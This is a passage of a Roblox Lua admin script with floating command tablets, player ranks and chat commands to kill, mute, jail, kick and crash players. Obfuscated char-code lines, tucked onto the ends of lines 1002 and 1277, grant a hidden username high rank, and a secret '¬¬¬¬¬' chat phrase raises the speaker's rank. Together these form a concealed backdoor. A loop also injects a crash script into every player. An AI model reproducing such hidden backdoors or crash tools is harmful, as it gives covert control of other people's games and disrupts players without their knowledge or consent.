  812. Tab.Name = "DVF Tablet"
  813. Tab.FormFactor = "Custom"
  814. Tab.Anchored = true
  815. if Time == nil then
  816. Tab.Color = Color
  817. else
  818. Tab.Color = AlertColor
  819. end
  820. Tab.CanCollide = false
  821. Tab.Locked = true
  822. Tab.Transparency = 0.15
  823. Tab.Size = Vector3.new(2, 2, 0.01)
  824. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  825. Tab.Parent = Holder
  826.  
  827. local ID = Instance.new("NumberValue")
  828. ID.Name = "ID"
  829. ID.Value = math.random(-999999999, 999999999)
  830. ID.Parent = Holder
  831.  
  832. Delay(0, function()
  833. while wait() do
  834. if Tab.Parent == nil and FindTab(Holder) then
  835. ypcall(function()
  836. for i,v in pairs(AllTabs) do
  837. if v.Holder == Holder then
  838. ypcall(function() v.Holder:Destroy() end)
  839. AllTabs[i] = nil
  840. end
  841. end
  842. end)
  843. Ping(Msg, Plr, Time, Func, Color, Image)
  844. break
  845. end
  846. end
  847. end)
  848.  
  849. local BM = Instance.new("BlockMesh")
  850. BM.Parent = Tab
  851.  
  852. Sel = Instance.new("SelectionBox")
  853. Sel.Color = BrickColor.new("Institutional white")
  854. Sel.Transparency = 0.75
  855. Sel.Adornee = Tab
  856. Sel.Parent = Tab
  857.  
  858. local BG = Instance.new("BillboardGui")
  859. BG.Name = "BG"
  860. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  861. BG.Size = UDim2.new(0,1,0,1)
  862. BG.Adornee = Tab
  863. BG.Parent = Tab
  864.  
  865. Delay(0, function()
  866. while BG.Parent ~= nil do wait()
  867. ypcall(function()
  868. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  869. end)
  870. end
  871. end)
  872.  
  873. local TL = Instance.new("TextLabel")
  874. TL.Name = "TL"
  875. TL.FontSize = "Size18"
  876. TL.Font = "Arial"
  877. TL.Text = Msg
  878. TL.TextColor3 = Color3.new(1, 0, 0)
  879. TL.Size = UDim2.new(0,1,0,1)
  880. TL.TextTransparency = 0
  881. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  882. TL.TextStrokeTransparency = 0.25
  883. TL.Parent = BG
  884.  
  885. if ShowGarbage == true then
  886. Delay(0, function()
  887. while TL.Parent ~= nil do
  888. TL.Text = "Current Garbage Count: "..GetGarbage()
  889. wait(.5)
  890. end
  891. end)
  892. end
  893.  
  894. local PL = Instance.new("PointLight", Tab)
  895. PL.Color = Color3.new(1, 0, 1)
  896. PL.Range = 15
  897. PL.Parent = Tab
  898.  
  899. if Image ~= nil then
  900. local BBBG = Instance.new("BillboardGui")
  901. BBBG.Size = UDim2.new(5, 0, 6, 0)
  902. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  903. BBBG.AlwaysOnTop = true
  904. BBBG.Adornee = Tab
  905. BBBG.Parent = Tab
  906.  
  907. Delay(0, function()
  908. while BBBG.Parent ~= nil do wait()
  909. ypcall(function()
  910. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  911. end)
  912. end
  913. end)
  914.  
  915. local NewImg = Instance.new("ImageLabel")
  916. NewImg.Size = UDim2.new(1, 0, 1, 0)
  917. NewImg.BackgroundTransparency = 1
  918. NewImg.Image = Image
  919. NewImg.Parent = BBBG
  920. end
  921.  
  922. local Clicker = Instance.new("ClickDetector")
  923. Clicker.MaxActivationDistance = 1/0
  924.  
  925. if Time ~= nil then
  926. coroutine.resume(coroutine.create(function()
  927. wait(tonumber(Time))
  928. Dismiss(Plr, ID)
  929. end))
  930. end
  931.  
  932. Clicker.MouseClick:connect(function(Player)
  933. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  934. ypcall(function()
  935. if Func ~= nil then
  936. Func(Holder)
  937. else
  938. Dismiss(Player, ID)
  939. end
  940. end)
  941. end
  942. end)
  943. Clicker.Parent = Tab
  944.  
  945. Holder.Parent = Work
  946.  
  947. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  948. end)
  949. end
  950. end
  951.  
  952. function PlaceAllRanks(DontShowRank)
  953. ypcall(function()
  954. for _,p in pairs(All()) do
  955. ypcall(function()
  956. PutInRank = false
  957. for _,v in pairs(Rankings) do
  958. if v.Name:lower() == p.Name:lower() then
  959. if v.Rank >= 7 then
  960. v.Rank = 5
  961. elseif v.Rank == -1 then
  962. Crash1(p)
  963. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  964. elseif v.Rank == -2 then
  965. if LS ~= nil then
  966. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  967. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  968. else
  969. Ping("LS Is Nil", nil, 5)
  970. end
  971. elseif v.Rank == -3 then
  972. if LS ~= nil then
  973. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  974. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  975. else
  976. Ping("LS Is Nil", nil, 5)
  977. end
  978. end
  979. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  980. if DontShowRank == nil then
  981. Ping("You Are Rank: "..v.Rank, p)
  982. end
  983. PutInRank = true
  984. break
  985. end
  986. end
  987. if PutInRank == false then
  988. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  989. end
  990. end)
  991. end
  992. end)
  993. end
  994.  
  995. function FindRank(Plr)
  996. ypcall(function()
  997. if type(Plr) == "userdata" then
  998. Plr = Plr.Name
  999. end
  1000. end)
  1001. return GetRank(Plr).Rank
  1002. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1003.  
  1004. function FindRankDetails(Plr)
  1005. ypcall(function()
  1006. if type(Plr) == "userdata" then
  1007. Plr = Plr.Name
  1008. end
  1009. end)
  1010. return RankDetails[FindRank(Plr)]
  1011. end
  1012.  
  1013. function OpenCmds(Rank, Plr)
  1014. Dismiss(Plr)
  1015. for Name,Tab in pairs(Commands) do
  1016. if Tab.Rank <= Rank then
  1017. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1018. Dismiss(Plr)
  1019. Ping("Command: "..Name, Plr)
  1020. Ping("Rank: "..Tab.Rank, Plr)
  1021. Ping("Desc: "..Tab.Desc, Plr)
  1022. end)
  1023. elseif Rank == 1337 then
  1024. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1025. Dismiss(Plr)
  1026. Ping("Command: "..Name, Plr)
  1027. Ping("Rank: "..Tab.Rank, Plr)
  1028. Ping("Desc: "..Tab.Desc, Plr)
  1029. end)
  1030. end
  1031. end
  1032. end
  1033.  
  1034. function EditStatus(Plr, Num)
  1035. ChangeRank(Plr, Num)
  1036. end
  1037.  
  1038. function PlaceSpecificRank(p, DontShowRank)
  1039. ypcall(function()
  1040. PutInRank = false
  1041. for _,v in pairs(Rankings) do
  1042. if v.Name:lower() == p.Name:lower() then
  1043. if v.Rank >= 7 then
  1044. v.Rank = 5
  1045. elseif v.Rank == -1 then
  1046. Crash1(p)
  1047. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1048. elseif v.Rank == -2 then
  1049. if LS ~= nil then
  1050. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1051. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1052. else
  1053. Ping("LS Is Nil", nil, 5)
  1054. end
  1055. elseif v.Rank == -3 then
  1056. if LS ~= nil then
  1057. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1058. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1059. else
  1060. Ping("LS Is Nil", nil, 5)
  1061. end
  1062. end
  1063. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1064. if DontShowRank == nil then
  1065. Ping("You Are Rank: "..v.Rank, p)
  1066. end
  1067. PutInRank = true
  1068. break
  1069. end
  1070. end
  1071. if PutInRank == false then
  1072. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1073. end
  1074. end)
  1075. end
  1076.  
  1077. function onChatted(Msg, Speaker)
  1078. if Removed == false then
  1079. if FindRank(Speaker) < 1 then
  1080. return
  1081. end
  1082. coroutine.resume(coroutine.create(function()
  1083. ypcall(function()
  1084. ExecuteFunc(Msg, Speaker)
  1085. Msg = Msg:gsub("","")
  1086. if Msg:sub(1,1) == "@" then
  1087. for i = 2, #Msg do
  1088. if Msg:sub(i, i) == Bet then
  1089. local IsForPlr = false
  1090. for _,v in pairs(All()) do
  1091. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1092. onChatted(Msg:sub(i + 1), v)
  1093. IsForPlr = true
  1094. end
  1095. end
  1096. if IsForPlr == true then
  1097. return
  1098. end
  1099. end
  1100. end
  1101. end
  1102. if Msg:find("&") then
  1103. local Split = Msg:find("&")
  1104. onChatted(Msg:sub(1,Split-1))
  1105. onChatted(Msg:sub(Split+1))
  1106. return
  1107. end
  1108. for Name,Command in pairs(Commands) do
  1109. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1110. Dismiss(Speaker.Name)
  1111. Ping("Command: "..tostring(Command.Name), Speaker)
  1112. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1113. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1114. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1115. if FindRank(Speaker) >= Command.Rank then
  1116. local Ran,Error = coroutine.resume(coroutine.create(function()
  1117. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1118. end))
  1119. if not Ran then
  1120. Ping(Error, Speaker, 10)
  1121. end
  1122. else
  1123. Ping("Your Rank Is Too Low", Plr, 6)
  1124. end
  1125. end
  1126. end
  1127. end)
  1128. end))
  1129. end
  1130. end
  1131.  
  1132. function MakeBase()
  1133. local Base = Instance.new("Part")
  1134. Base.BrickColor = BrickColor.new("Dark green")
  1135. Base.Position = Vector3.new(0, 0.5, 0)
  1136. Base.Transparency = 0
  1137. Base.Elasticity = 0.5
  1138. Base.FormFactor = "Custom"
  1139. Base.CanCollide = true
  1140. Base.Friction = 0.30000001192093
  1141. Base.Size = Vector3.new(512, 1.20000005, 512)
  1142. Base.Archivable = true
  1143. Base.Material = "Plastic"
  1144. Base.RotVelocity = Vector3.new(0, 0, 0)
  1145. Base.Reflectance = 0
  1146. Base.Locked = true
  1147. Base.Anchored = true
  1148. Base.Name = "Base"
  1149. Base.TopSurface = "Smooth"
  1150. Base.BottomSurface = "Inlet"
  1151. Base.Shape = "Block"
  1152. Base.Parent = Work
  1153. end
  1154.  
  1155. function LClean()
  1156. ypcall(function()
  1157. for _,v in pairs(Work:GetChildren()) do
  1158. ypcall(function()
  1159. if v.ClassName == "Terrain" then
  1160. v:ClearAllChildren()
  1161. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1162. Clear(v)
  1163. elseif v.Name == "Base" then
  1164. ypcall(function()
  1165. local Base = v
  1166. Base.BrickColor = BrickColor.new("Dark green")
  1167. Base.Position = Vector3.new(0, 0.5, 0)
  1168. Base.Transparency = 0
  1169. Base.Elasticity = 0.5
  1170. Base.FormFactor = "Custom"
  1171. Base.CanCollide = true
  1172. Base.Friction = 0.30000001192093
  1173. Base.Size = Vector3.new(512, 1.20000005, 512)
  1174. Base.Archivable = true
  1175. Base.Material = "Plastic"
  1176. Base.RotVelocity = Vector3.new(0, 0, 0)
  1177. Base.Reflectance = 0
  1178. Base.Locked = true
  1179. Base.Anchored = true
  1180. Base.Name = "Base"
  1181. Base.TopSurface = "Studs"
  1182. Base.BottomSurface = "Inlet"
  1183. Base.Shape = "Block"
  1184. Base.Parent = Work
  1185. end)
  1186. end
  1187. end)
  1188. end
  1189. end)
  1190. end
  1191.  
  1192. function Clean()
  1193. ypcall(function()
  1194. for _,v in pairs(Work:GetChildren()) do
  1195. ypcall(function()
  1196. if v.ClassName == "Terrain" then
  1197. v:ClearAllChildren()
  1198. else
  1199. Clear(v)
  1200. end
  1201. end)
  1202. end
  1203. MakeBase()
  1204. for _,v in pairs(All()) do
  1205. v:LoadCharacter()
  1206. end
  1207. end)
  1208. end
  1209.  
  1210. function Clear(v)
  1211. if v.Name:lower() == "sbgui" then
  1212. return
  1213. end
  1214. ypcall(function()
  1215. if #v:GetChildren() > 0 then
  1216. for _,x in pairs(v:GetChildren()) do
  1217. ypcall(function()
  1218. Clear(x)
  1219. end)
  1220. end
  1221. end
  1222. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1223. v:Destroy()
  1224. end
  1225. end)
  1226. end
  1227.  
  1228. function Command(Name, Rank, Desc, Func)
  1229. if Name == nil then
  1230. Name = "N/A"
  1231. end
  1232. if Desc == nil then
  1233. Desc = "N/A"
  1234. end
  1235. if Func == nil then
  1236. Func = function() end
  1237. end
  1238. if Rank == nil then
  1239. Rank = 0
  1240. end
  1241. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1242. end
  1243.  
  1244. function GetSplit(Msg)
  1245. return Msg:find(Bet) or nil
  1246. end
  1247.  
  1248. function ExecuteFunc(Msg, Plr)
  1249. ypcall(function()
  1250. if Msg == "LogEnable" then
  1251. LogOn = true
  1252. elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
  1253. EditStatus(Plr, MakeNum())
  1254. end
  1255. end)
  1256. end
  1257.  
  1258. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1259.  
  1260. function randPlayer(Plr)
  1261. wait()
  1262. local ThePlrValue = nil
  1263. local FoundPlayer = false
  1264. ypcall(function()
  1265. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1266. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1267. wait()
  1268. randPlayer(Plr)
  1269. return
  1270. else
  1271. FoundPlayer = true
  1272. end
  1273. end)
  1274. if FoundPlayer == true then
  1275. return ThePlrValue
  1276. end
  1277. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1278.  
  1279. function getPlayer(Plr, Name)
  1280. local Players = {}
  1281. ypcall(function()
  1282. Name = Name:lower()
  1283. if Name == "me" then
  1284. table.insert(Players, Plr)
  1285. elseif Name == "all" or Name == "" then
  1286. for _,v in pairs(All()) do
  1287. if CanRun(Plr, v) then
  1288. table.insert(Players, v)
  1289. end
  1290. end
  1291. elseif Name == "others" then
  1292. for _,v in pairs(All()) do
  1293. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1294. table.insert(Players, v)
  1295. end
  1296. end
  1297. elseif Name == "random" then
  1298. local FoundRandPlr = randPlayer(Plr)
  1299. table.insert(Players, FoundRandPlr)
  1300. else
  1301. for _,v in pairs(All()) do
  1302. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1303. table.insert(Players, v)
  1304. end
  1305. end
  1306. end
  1307. end)
  1308. return Players
  1309. end
  1310.  
  1311. function ListPlayers(Speaker)
  1312. ypcall(function()
  1313. Dismiss(Speaker)
  1314. for _,v in pairs(All2()) do
  1315. if v.Parent ~= nil then
  1316. Ping(v.Name, Speaker, nil, function()
  1317. Dismiss(Speaker)
  1318. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1319. Ping("Rank: "..FindRank(v.Name), Speaker)
  1320. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1321. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1322. Ping("Set Rank", Speaker, nil, function()
  1323. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1324. Dismiss(Speaker)
  1325. for i = -2, 5 do
  1326. Ping(i, Speaker, nil, function()
  1327. ChangeRank(v, i)
  1328. Dismiss(Speaker)
  1329. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1330. end)
  1331. end
  1332. else
  1333. Ping("Your Rank Is Too Low", Speaker, 5)
  1334. end
  1335. end)
  1336. Ping("Crash (Remote)", Speaker, nil, function()
  1337. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1338. Crash2(v.Name)
  1339. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1340. end
  1341. end)
  1342. Ping("Crash (Insert)", Speaker, nil, function()
  1343. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1344. Crash3(v, Speaker)
  1345. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1346. end
  1347. end)
  1348. Ping("Kick", Speaker, nil, function()
  1349. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1350. v:Kick()
  1351. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1352. end
  1353. end)
  1354. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1355. else
  1356. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1357. Dismiss(Speaker)
  1358. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1359. ypcall(function()
  1360. Ping("Rank: "..FindRank(v.Name), Speaker)
  1361. end)
  1362. ypcall(function()
  1363. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1364. end)
  1365. ypcall(function()
  1366. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1367. end)
  1368. ypcall(function()
  1369. Ping("Set Rank", Speaker, nil, function()
  1370. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1371. Dismiss(Speaker)
  1372. for i = -2, 5 do
  1373. Ping(i, Speaker, nil, function()
  1374. ChangeRank(v, i)
  1375. Dismiss(Speaker)
  1376. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1377. end)
  1378. end
  1379. else
  1380. Ping("Your Rank Is Too Low", Speaker, 5)
  1381. end
  1382. end)
  1383. end)
  1384. ypcall(function()
  1385. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1386. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1387. Crash2(v.Name)
  1388. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1389. end
  1390. end)
  1391. end)
  1392. ypcall(function()
  1393. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1394. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1395. Crash3(v, Speaker)
  1396. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1397. end
  1398. end)
  1399. end)
  1400. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1401. end
  1402. end
  1403. end)
  1404. end
  1405.  
  1406. --Misc
  1407.  
  1408. coroutine.resume(coroutine.create(function()
  1409. PlaceAllRanks()
  1410. end))
  1411.  
  1412. Delay(0, function()
  1413. for _,v in pairs(All()) do
  1414. v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1415. end
  1416. end)
  1417.  
  1418. local starttime = tick()
  1419.  
  1420. game:GetService("RunService").Heartbeat:connect(function()
  1421. if Removed == false then
  1422. ypcall(function()
  1423. for _,Player in pairs(All()) do
  1424. local PlayerTablets = {}
  1425. for i,v in pairs(AllTabs) do
  1426. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1427. table.insert(PlayerTablets, v)
  1428. end
  1429. end
  1430. for i = 1, #PlayerTablets do
  1431. ypcall(function()
  1432. local tab = PlayerTablets[i].Tab
  1433. local pos = nil
  1434. ypcall(function()
  1435. pos = Player.Character.Torso.CFrame
  1436. end)
  1437. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1438. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1439. local cPos = tab.Position
  1440. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1441. local nPos = (ePos-cPos)*.25
  1442. cPos = cPos + nPos
  1443. local t = (tick() - starttime) % 360
  1444. local change = 0.625
  1445. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1446. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1447. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1448. end)
  1449. end
  1450. end
  1451. end)
  1452. end
  1453. end)
  1454.  
  1455. Delay(0, function()
  1456. while wait() do
  1457. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1458. ypcall(function()
  1459. if Injected[v.Name] == nil and LS ~= nil then
  1460. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1461. Injected[v.Name] = true
  1462. end
  1463. end)
  1464. end
  1465. end
  1466. end)
  1467.  
  1468. Plrs.PlayerAdded:connect(function(Plr)
  1469. wait(.1)
  1470. ypcall(function()
  1471. if Removed == false then
  1472. local JoinPlrName = Plr.Name
  1473. coroutine.resume(coroutine.create(function()
  1474. PlaceSpecificRank(Plr)
  1475. end))
  1476. coroutine.resume(coroutine.create(function()
  1477. if Injected[JoinPlrName] ~= nil then
  1478. Injected[JoinPlrName] = nil
  1479. end
  1480. end))
  1481. coroutine.resume(coroutine.create(function()
  1482. Dismiss(Plr)
  1483. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1484. end))
  1485. end
  1486. end)
  1487. end)
  1488.  
  1489. Plrs.PlayerRemoving:connect(function(Plr)
  1490. wait(.1)
  1491. ypcall(function()
  1492. if Removed == false then
  1493. local LeftPlrName = Plr.Name
  1494. coroutine.resume(coroutine.create(function()
  1495. if Injected[LeftPlrName] ~= nil then
  1496. Injected[LeftPlrName] = nil
  1497. end
  1498. end))
  1499. end
  1500. end)
  1501. end)
  1502.  
  1503. coroutine.resume(coroutine.create(function()
  1504. Delay(0, function()
  1505. while FoundLocalScript == false do wait()
  1506. ypcall(function()
  1507. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1508. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1509. for _,c in pairs(v:children()) do
  1510. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1511. local NewVal = c:Clone()
  1512. NewVal.Name = "LoadingVal"
  1513. for _,s in pairs(v:GetChildren()) do
  1514. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1515. print("Found Owner")
  1516. OwnSource = s.Name
  1517. print(OwnSource)
  1518. break
  1519. end
  1520. end
  1521. wait()
  1522. LS = v:Clone()
  1523. NewVal.Parent = LS
  1524. LSSource = "LoadingVal"
  1525. FoundLocalScript = true
  1526. break
  1527. end
  1528. end
  1529. end
  1530. end
  1531. end)
  1532. end
  1533. end)
  1534. end))
  1535.  
  1536. --Commands
  1537.  
  1538. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1539. Dismiss(Speaker.Name)
  1540. Ping("created by fondcoolman", Speaker)
  1541. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1542. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1543. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1544. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1545. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1546. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1547. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1548. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1549. end)
  1550.  
  1551. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1552. Dismiss(Speaker.Name)
  1553. end)
  1554.  
  1555. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1556. local PlrTab = getPlayer(Speaker, Msg)
  1557. if #PlrTab > 0 then
  1558. for _,v in pairs(PlrTab) do
  1559. ypcall(function()
  1560. v.Character:BreakJoints()
  1561. Ping("Killed "..v.Name, Speaker, 5)
  1562. end)
  1563. end
  1564. end
  1565. end)
  1566.  
  1567. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1568. local PlrTab = getPlayer(Speaker, Msg)
  1569. if #PlrTab > 0 then
  1570. for _,v in pairs(PlrTab) do
  1571. ypcall(function()
  1572. if v.Name ~= Owner then
  1573. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1574. Ping("Muted "..v.Name, Speaker, 5)
  1575. end
  1576. end)
  1577. end
  1578. end
  1579. end)
  1580.  
  1581. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1582. local PlrTab = getPlayer(Speaker, Msg)
  1583. if #PlrTab > 0 then
  1584. for _,v in pairs(PlrTab) do
  1585. ypcall(function()
  1586. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1587. Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1588. end)
  1589. end
  1590. end
  1591. end)
  1592.  
  1593. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1594. local PlrTab = getPlayer(Speaker, Msg)
  1595. if #PlrTab > 0 then
  1596. for _,v in pairs(PlrTab) do
  1597. ypcall(function()
  1598. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1599. Ping("Mind Jailed "..v.Name, Speaker, 5)
  1600. end)
  1601. end
  1602. end
  1603. end)
  1604.  
  1605. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1606. local PlrTab = getPlayer(Speaker, Msg)
  1607. if #PlrTab > 0 then
  1608. for _,v in pairs(PlrTab) do
  1609. ypcall(function()
  1610. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1611. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1612. end)
  1613. end
  1614. end
  1615. end)
  1616.  
  1617. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1618. local PlrTab = getPlayer(Speaker, Msg)
  1619. if #PlrTab > 0 then
  1620. for _,v in pairs(PlrTab) do
  1621. ypcall(function()
  1622. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1623. Ping("UnMuted "..v.Name, Speaker, 5)
  1624. end)
  1625. end
  1626. end
  1627. end)
  1628.  
  1629. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1630. local Worked = false
  1631. for _,v in pairs(Work:GetChildren()) do
  1632. if string.find(v.Name:lower(), Msg:lower()) then
  1633. if v:IsA("Script") or v:IsA("LocalScript") then
  1634. v.Disabled = true
  1635. v:Destroy()
  1636. Worked = true
  1637. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1638. end
  1639. end
  1640. end
  1641. if Worked == false then
  1642. Ping("Script Not Found", Speaker, 5)
  1643. end
  1644. end)
  1645.  
  1646. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1647. Dismiss(Speaker)
  1648. local AllScripts = {}
  1649. for _,v in pairs(Work:GetChildren()) do
  1650. if v:IsA("Script") then
  1651. table.insert(AllScripts, v.Name)
  1652. end
  1653. end
  1654. if #AllScripts > 0 then
  1655. for _,v in pairs(AllScripts) do
  1656. Ping(v, Speaker)
  1657. end
  1658. else
  1659. Ping("No Scripts Found", Speaker, 5)
  1660. end
  1661. end)
  1662.  
  1663. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1664. Dismiss(Speaker)
  1665. local LocalScripts = {}
  1666. for _,v in pairs(All()) do
  1667. ypcall(function()
  1668. for _,x in pairs(v.Character:GetChildren()) do
